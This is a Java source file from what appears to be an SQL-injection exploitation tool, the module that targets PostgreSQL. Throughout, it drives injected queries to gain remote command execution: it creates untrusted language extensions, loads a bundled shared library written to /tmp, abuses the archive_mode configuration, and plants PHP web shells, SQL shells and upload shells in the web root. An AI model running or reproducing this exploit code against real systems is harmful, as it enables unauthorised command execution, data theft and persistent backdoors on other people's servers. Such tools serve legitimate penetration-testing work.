ExploitPostgres.java

package com.jsql.model.accessible.vendor;

import com.jsql.model.InjectionModel;
import com.jsql.model.accessible.DataAccess;
import com.jsql.model.accessible.ResourceAccess;
import com.jsql.model.accessible.vendor.postgres.ModelYamlPostgres;
import com.jsql.model.bean.util.Interaction;
import com.jsql.model.bean.util.Request;
import com.jsql.model.exception.JSqlException;
import com.jsql.model.exception.JSqlRuntimeException;
import com.jsql.model.injection.vendor.model.VendorYaml;
import com.jsql.util.LogLevelUtil;
import com.jsql.util.StringUtil;
import org.apache.commons.lang3.RandomStringUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.yaml.snakeyaml.Yaml;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.http.HttpResponse;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
import java.util.UUID;
import java.util.function.BinaryOperator;

public class ExploitPostgres {

    /**
     * Log4j logger sent to view.
     */
    private static final Logger LOGGER = LogManager.getRootLogger();
    private final InjectionModel injectionModel;
    private String nameExtension = StringUtils.EMPTY;
    private final ModelYamlPostgres modelYaml;

    public ExploitPostgres(InjectionModel injectionModel) {
        this.injectionModel = injectionModel;
        var yaml = new Yaml();
        this.modelYaml = yaml.loadAs(
            injectionModel.getMediatorVendor().getPostgres().instance().getModelYaml().getResource().getExploit(),
            ModelYamlPostgres.class
        );
    }

    public void createUdf(String nameExtension) throws JSqlException {
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Exploit mode forced to query body");

        if (StringUtils.isNotEmpty(nameExtension)) {
            this.nameExtension = this.createExtension(nameExtension);
        } else if (!this.isRceDetected()) {
            return;
        }

        this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getDropFunc(), ResourceAccess.DROP_FUNC);

        String plCreateBasicExtension = this.getCreateBasicExtension();
        if (plCreateBasicExtension != null) {
            this.injectionModel.injectWithoutIndex(plCreateBasicExtension, ResourceAccess.ADD_FUNC);
        } else if (this.nameExtension.startsWith("sql")) {
            this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getDropTable(), ResourceAccess.TBL_DROP);
            this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getCreateTable(), ResourceAccess.TBL_CREATE);
            this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getConfirm().getAddFunc(), ResourceAccess.ADD_FUNC);
            this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.RUN_FUNC);
            var result = this.injectionModel.getResourceAccess().getResult(
                String.format(this.modelYaml.getUdf().getSql().getResultCmd(), StringUtils.EMPTY),
                ResourceAccess.BODY_CONFIRM
            );
            if (!"1337".equals(result)) {
                return;
            }
        }

        var functions = this.injectionModel.getResourceAccess().getResult(
            this.modelYaml.getUdf().getSql().getConfirm().getFuncExists(),
            ResourceAccess.BODY_CONFIRM
        );
        if (!functions.contains("exec_cmd")) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: function not found");
            return;
        }

        LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Extension] successful: function found for extension [{}]", this.nameExtension);
        var request = new Request();
        request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_EXTENSION_POSTGRES);
        request.setParameters(null, null);
        this.injectionModel.sendToViews(request);
    }

    private String getCreateBasicExtension() {
        String plCreateExtension = null;
        if (this.nameExtension.startsWith("plpython")) {
            plCreateExtension = String.format(this.modelYaml.getUdf().getPlpython(), this.nameExtension);
        } else if (this.nameExtension.startsWith("plperl")) {
            plCreateExtension = this.modelYaml.getUdf().getPlperl();
        } else if (this.nameExtension.startsWith("pltcl")) {
            plCreateExtension = this.modelYaml.getUdf().getPltcl();
        } else if (this.nameExtension.startsWith("plr")) {
            plCreateExtension = this.modelYaml.getUdf().getPlr();
        } else if (this.nameExtension.startsWith("pllua")) {
            plCreateExtension = this.modelYaml.getUdf().getPllua();
        } else if (this.nameExtension.startsWith("plsh")) {
            plCreateExtension = this.modelYaml.getUdf().getPlsh();
        }
        return plCreateExtension;
    }

    private boolean isRceDetected() throws JSqlException {
        // Archive checked last as asynchronous with delay
        return this.checkRceProgram() || this.checkRceExtension() || this.checkRceLibrary() || this.checkRceArchive();
    }

    private boolean checkRceProgram() {
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Program] requirements: stack query");
        var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
        this.injectionModel.injectWithoutIndex(String.format(
            this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
            nameTempTable
        ), ResourceAccess.TBL_CREATE);
        this.injectionModel.injectWithoutIndex(String.format(
            this.modelYaml.getUdf().getProgram().getRun(),
            nameTempTable,
            ResourceAccess.WEB_CONFIRM_CMD
        ), ResourceAccess.TBL_FILL);
        var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
            this.modelYaml.getUdf().getProgram().getGetResult(),
            nameTempTable
        ), ResourceAccess.TBL_READ);
        if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
            LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Program] successful: command execution found");
            var request = new Request();
            request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_PROGRAM_POSTGRES);
            request.setParameters(null, null);
            this.injectionModel.sendToViews(request);
            return true;
        }
        return false;
    }

    private boolean checkRceExtension() throws JSqlException {
        this.nameExtension = StringUtils.EMPTY;
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Extension] requirements: stack query, any of py/sh/pl/lua/sql/r/tcl installed");
        for (var ext: Arrays.asList("plpython3u", "plpython2u", "plpythonu", "plperlu", "pltclu", "pllua", "plsh", "sql", "plr")) {
            if (StringUtils.isEmpty(this.nameExtension)) {
                this.nameExtension = this.createExtension(ext);
            }
        }
        if (StringUtils.isEmpty(this.nameExtension)) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE [Extension] failure: no extension found");
            return true;
        }
        return false;
    }

    public boolean checkRceLibrary() throws JSqlException {
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Library] requirements: stack query");
        this.injectionModel.injectWithoutIndex(String.format(this.modelYaml.getUdf().getLibrary().getDropFunc()), ResourceAccess.DROP_FUNC);
        var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
            this.modelYaml.getUdf().getLibrary().getLoFromText(),
            String.join(StringUtils.EMPTY, ExploitPostgres.toHexChunks("v10.64"))
        ), ResourceAccess.ADD_LOID);
        if (StringUtils.isEmpty(loid)) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
            return false;
        }
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".so";
        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
            this.modelYaml.getUdf().getLibrary().getLoToFile(),
            loid,
            "/tmp/" + nameExploit
        ), ResourceAccess.WRITE_LOID);
        this.injectionModel.injectWithoutIndex(String.format(
            this.modelYaml.getUdf().getLibrary().getCreateFunction(),
            "/tmp/" + nameExploit
        ), ResourceAccess.ADD_FUNC);
        String result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
            this.modelYaml.getUdf().getLibrary().getRunFunc(),
            ResourceAccess.WEB_CONFIRM_CMD + "%20"
        ), "confirm");
        if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
            return false;
        }
        LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Library] successful");
        var request = new Request();
        request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_LIBRARY_POSTGRES);
        request.setParameters(null, null);
        this.injectionModel.sendToViews(request);
        return true;
    }

    private boolean checkRceArchive() throws JSqlException {
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Archive] requirements: archive_mode enabled");
        if (!StringUtils.EMPTY.equals(this.runArchive(null))) {
            LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Archive] successful: command execution found");
            var request = new Request();
            request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_WAL_POSTGRES);
            request.setParameters(null, null);
            this.injectionModel.sendToViews(request);
            return true;
        }
        return false;
    }

    private static List<String> toHexChunks(String filename) throws JSqlException {
        try {
            byte[] fileData = Objects.requireNonNull(  // getResource > toURI > toPath > readAllBytes() not possible in .jar
                ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/postgres/"+ filename +".so")
            ).readAllBytes();
            return StringUtil.toHexChunks(fileData);
        } catch (IOException e) {
            throw new JSqlException(e);
        }
    }

    public String runRceLibraryCmd(String command, UUID uuidShell) {
        String result;
        try {
            result = this.injectionModel.getResourceAccess().getResult(String.format(
                this.modelYaml.getUdf().getLibrary().getRunFunc(),
                command.replace(StringUtils.SPACE, "%20") + "%20"
            ), ResourceAccess.RUN_FUNC);
        } catch (JSqlException e) {
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
        }
        var request = new Request();
        request.setMessage(Interaction.GET_TERMINAL_RESULT);
        request.setParameters(uuidShell, result.trim() +"\n");  // missing newline on some extensions
        this.injectionModel.sendToViews(request);
        return result;
    }

    private String runArchive(String command) throws JSqlException {
        boolean isSetup = command == null;

        String status = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetStatus(), "wal#status");
        if (isSetup && !status.contains("on")) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive_mode disabled");
            return StringUtils.EMPTY;
        }

        String pathConf = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetPathConf(), "conf#path");
        String loidConf = this.injectionModel.getResourceAccess().getResult(String.format(
            this.modelYaml.getUdf().getArchive().getGetConfLoid(),
            pathConf
        ), "conf#loid");
        String lengthConf = this.injectionModel.getResourceAccess().getResult(String.format(
            this.modelYaml.getUdf().getArchive().getGetConfLength(),
            loidConf
        ), "conf#size");

        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
            this.modelYaml.getUdf().getArchive().getPutCmd(),
            loidConf,
            lengthConf,
            isSetup ? ResourceAccess.WEB_CONFIRM_CMD +"%20" : command
        ), "conf#append");

        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
            this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
            loidConf,
            pathConf
        ), "conf#write");
        this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getReloadConf(), "wal#reload");

        String cmdArchive = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetCmd(), "cmd#confirm");
        if (isSetup && !cmdArchive.contains("/tmp/cmd.txt")) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive command missing");
            return StringUtils.EMPTY;
        }

        this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getRunWal(), "wal#run");
        try {
            Thread.sleep(750);  // wait for result as archiving is slow
        } catch (InterruptedException e) {
            LOGGER.log(LogLevelUtil.IGNORE, e, e);
            Thread.currentThread().interrupt();
        }
        String loidResult = this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getGetResult(), "result#loid");
        String result = this.injectionModel.getResourceAccess().getResult(String.format(
            this.modelYaml.getFile().getRead().getLargeObject().getToText(),
            loidResult
        ), "result#read");

        if (isSetup && !result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: command result missing");
            return StringUtils.EMPTY;
        }
        return result;
    }

    private String createExtension(String nameExtension) throws JSqlException {
        LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Checking extension {}", nameExtension);
        this.injectionModel.injectWithoutIndex(String.format(
            this.modelYaml.getUdf().getExtension().getCreate(),
            nameExtension
        ), "body#add-ext");
        String languages = this.injectionModel.getResourceAccess().getResult(
            this.modelYaml.getUdf().getExtension().getLanguages(),
            "body#confirm-ext"
        );
        if (languages.contains(nameExtension)) {
            return nameExtension;
        }
        return StringUtils.EMPTY;
    }

    public String runRceArchiveCmd(String command, UUID uuidShell) {
        String result;
        try {
            result = this.runArchive(command.replace(StringUtils.SPACE, "%20") +"%20");
        } catch (JSqlException e) {
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
        }
        var request = new Request();
        request.setMessage(Interaction.GET_TERMINAL_RESULT);
        request.setParameters(uuidShell, result.trim() +"\n");  // missing newline on some extensions
        this.injectionModel.sendToViews(request);
        return result;
    }

    public String runRceProgramCmd(String command, UUID uuidShell) {
        String result;
        try {
            var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
            this.injectionModel.injectWithoutIndex(String.format(
                this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
                nameTempTable
            ), ResourceAccess.TBL_CREATE);
            this.injectionModel.injectWithoutIndex(String.format(
                this.modelYaml.getUdf().getProgram().getRun(),
                nameTempTable,
                command.replace(StringUtils.SPACE, "%20") +"%20"
            ), ResourceAccess.TBL_FILL);
            result = this.injectionModel.getResourceAccess().getResult(String.format(
                this.modelYaml.getUdf().getProgram().getGetResult(),
                nameTempTable
            ), ResourceAccess.TBL_READ);
        } catch (JSqlException e) {
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
        }
        var request = new Request();
        request.setMessage(Interaction.GET_TERMINAL_RESULT);
        request.setParameters(uuidShell, result.trim() +"\n");  // missing newline on some extensions
        this.injectionModel.sendToViews(request);
        return result;
    }

    public String runRceExtensionCmd(String command, UUID uuidShell) {
        String result;
        try {
            if ("sql".equals(this.nameExtension)) {
                this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getClean(), "body#empty-tbl");
                this.injectionModel.injectWithoutIndex(String.format(
                    this.modelYaml.getUdf().getSql().getRunFunc(),
                    command.replace(StringUtils.SPACE, "%20")
                ), ResourceAccess.ADD_FUNC);
                this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.UDF_RUN_CMD);
                result = this.injectionModel.getResourceAccess().getResult(String.format(
                    this.modelYaml.getUdf().getSql().getResultCmd(),
                    VendorYaml.TRAIL_SQL
                ), "body#result") +"\n";
            } else {
                result = this.injectionModel.getResourceAccess().getResult(
                    String.format(
                        this.modelYaml.getUdf().getRunFunc(),
                        command.replace(StringUtils.SPACE, "%20"),  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
                        VendorYaml.TRAIL_SQL
                    ),
                    ResourceAccess.UDF_RUN_CMD
                );
            }
        } catch (JSqlException e) {
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
        }
        var request = new Request();
        request.setMessage(Interaction.GET_TERMINAL_RESULT);
        request.setParameters(uuidShell, result.trim() +"\n");  // missing newline on some extensions
        this.injectionModel.sendToViews(request);
        return result;
    }

    public void createWeb(String pathExploit, String urlExploit) {
        String bodyExploit = StringUtil.base64Decode(
                this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
            )
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);

        var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
            this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
            bodyExploit.replace("'", "\"")
        ), ResourceAccess.ADD_LOID);
        if (StringUtils.isEmpty(loid)) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
            return;
        }
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
            this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
            loid,
            pathExploit + nameExploit
        ), ResourceAccess.WRITE_LOID);

        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
            String result = this.injectionModel.getResourceAccess().callCommand(
                urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
            );
            if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
                LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
                return StringUtils.EMPTY;
            }
            var request = new Request();
            request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
            request.setParameters(urlSuccess);
            this.injectionModel.sendToViews(request);
            return urlSuccess;
        };

        this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
    }

    public String createSql(String pathExploit, String urlExploit, String username, String password) {
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
            var resultQuery = this.injectionModel.getResourceAccess().runSqlShell(
                ResourceAccess.SQL_CONFIRM_CMD,
                null,
                urlSuccess,
                username,
                password,
                false
            );
            if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
                var request = new Request();
                request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
                request.setParameters(urlSuccess, username, password);
                this.injectionModel.sendToViews(request);
                return urlSuccess;
            }
            return StringUtils.EMPTY;
        };

        String bodyExploit = StringUtil.base64Decode(
                this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty("exploit.sql.pdo.pgsql")
            )
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);

        var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
            this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
            bodyExploit.replace("'", "\"")
        ), ResourceAccess.ADD_LOID);
        if (StringUtils.isEmpty(loid)) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
            return StringUtils.EMPTY;
        }
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
            this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
            loid,
            pathExploit + nameExploit
        ), ResourceAccess.WRITE_LOID);

        return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
    }

    public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
        String bodyExploit = StringUtil.base64Decode(
                this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
            )
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);

        var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
            this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
            bodyExploit.replace("'", "\"")
        ), ResourceAccess.ADD_LOID);
        if (StringUtils.isEmpty(loid)) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
            return;
        }
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
        this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
            this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
            loid,
            pathExploit + nameExploit
        ), ResourceAccess.WRITE_LOID);

        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
            try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
                HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
                if (result.body().contains(DataAccess.LEAD +"y")) {
                    LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
                } else {
                    LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
                }
            } catch (InterruptedException e) {
                LOGGER.log(LogLevelUtil.IGNORE, e, e);
                Thread.currentThread().interrupt();
            } catch (IOException | JSqlException e) {
                throw new JSqlRuntimeException(e);
            }
            return urlSuccess;
        };

        this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
    }

    public ModelYamlPostgres getModelYaml() {
        return this.modelYaml;
    }
}